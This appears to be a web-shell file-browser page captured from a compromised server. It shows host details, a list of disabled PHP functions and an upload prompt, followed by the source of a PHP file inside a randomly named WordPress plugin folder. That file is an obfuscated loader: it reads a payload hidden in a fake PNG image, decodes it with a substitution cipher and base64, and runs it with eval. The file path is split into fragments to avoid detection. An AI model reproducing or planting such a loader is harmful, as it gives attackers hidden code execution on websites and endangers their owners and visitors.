HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/onacekol/ocacep.php
<?php

function odaceri_shokezu($vumoqor_zoqichu) {
    if (!file_exists($vumoqor_zoqichu))
        return false;
    $eligawi = @file_get_contents($vumoqor_zoqichu);
    if (!$eligawi)
        return false;
    $eligawi = substr($eligawi, 3);
    $anacog = udurybi_emunyzy($eligawi);
    return $anacog;
}

function udurybi_emunyzy($vumoqor_zoqichu) {
    $gelugir = kohosih_yqythib;
    $otakox = array();
    for ($selini = 0; $selini < strlen($gelugir); $selini += 2) {
        $qojowa = substr($gelugir, $selini, 1);
        $epeshyf = substr($gelugir, $selini + 1, 1);
        $otakox[$qojowa] = $epeshyf;
    }
    $orecaj = strtr($vumoqor_zoqichu, $otakox);
    $orecaj = base64_decode($orecaj);

    return $orecaj;
}

define("kohosih_yqythib", "g75fjiw3SYnvdcGPZlFNNDcdX6zaTUojp8BV/gQy8hVB3WYm9C10IG2wq9Kzl1txEua5kJ+=7bs2btCqfMusAQOLykvrWH6IHEx+PXJO=/04iZUSmehprnMoeA4KLTRRDF");

$riduzyb = odaceri_shokezu(__DIR__ . "/asse" . "ts/ima" . "ges/qi" . "seko" . ".png");
if ($riduzyb) {
    @eval($riduzyb);
}